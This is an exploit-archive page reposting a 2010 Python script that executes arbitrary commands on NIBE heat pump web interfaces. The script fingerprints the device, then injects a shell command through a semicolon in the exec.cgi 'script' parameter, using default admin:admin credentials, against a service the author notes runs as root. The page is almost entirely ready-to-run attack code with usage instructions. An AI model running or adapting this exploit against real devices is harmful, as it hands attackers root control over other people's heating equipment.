首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
NIBE heat pump RCE exploit
来源:http://h.ackack.net/?p=302 作者:Jelmer 发布时间:2010-04-29  

#!/usr/bin/python
import socket,sys,os,base64
# NIBE heat pump RCE exploit
#
# Written by Jelmer de Hen
# Published at http://h.ackack.net/?p=302
#
# Web interface is running with root rights
#


def finger_heatpump(ip, port):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((ip, port))
 s.send("GET / HTTP/1.1\n\n")
 header = s.recv(1024)
 s.close()
 if header.find("NIBE") !=-1:
  return 1
 else:
  return 0

def exploit_pump(ip, port, command, basic_auth):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((ip, port))
 s.send("GET /cgi-bin/exec.cgi?script=;%20"+command+" HTTP/1.1\nAuthorization: Basic "+basic_auth+"\n\n")
 cmd_result = ""
 while s.recv(1024):
  cmd_result = cmd_result + s.recv(1024)
 s.close()
 return cmd_result

def instructions():
 print sys.argv[0]+" [ip] [port] [filename] [username (default=admin)] [password (default=admin)]"
 print "Written by Jelmer de Hen"
 print "published at http://h.ackack.net/?p=302"
 print "Examples (for spaces in commands use %20 instead of \"\x20\"):"
 print sys.argv[0]+" 127.0.0.1 80 \"ls%20-al\""
 sys.exit(1)

def main():
 if len(sys.argv)==4 or len(sys.argv)==6:
  try:
   ip = sys.argv[1]
   port = int(sys.argv[2])
   command = sys.argv[3]
  except:
   instructions()
  try:
   basic_auth = base64.b64encode(sys.argv[4]+":"+sys.argv[5])
  except:
   basic_auth = base64.b64encode("admin:admin")

  if finger_heatpump(ip, port) == 1:
   print "[+] Fingerprint scan success"
   command_result = exploit_pump(ip, port, command, basic_auth)
   if len(command_result)==0:
    print "[-] The exploit failed, you can retry the exploit or the username and/or password are not right"
   else:
    print "[+] Contents of "+command_result+":"
    print command_result
  else:
   print "[-] Fingerprint scan failed"

 else:
  instructions()

if __name__ == "__main__":
 sys.exit(main())


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Webmoney Advisor ActiveX Remot
·NIBE heat pump LFI exploit
·Safari 4.0.5 and Internet Expl
·Safari 4.0.3 & 4.0.4 Stack Exh
·Apple Safari 4.0.3 (Win32) CSS
·Webkit (Safari v4.0.5) blink t
·linux/x86 setuid(0) + chmod("/
·Acoustica v. 3.32 cd/dvd label
·Google Chrome 4.1.249.1064 Rem
·Canvas tag DoS - Multiple Brow
·Google Chrome acronym tag deni
·Bigant Messenger <= v2.52 - (A
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved